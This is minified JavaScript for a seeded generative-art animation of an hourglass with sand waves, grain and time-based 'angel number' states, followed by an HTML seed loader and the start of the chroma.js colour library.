y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
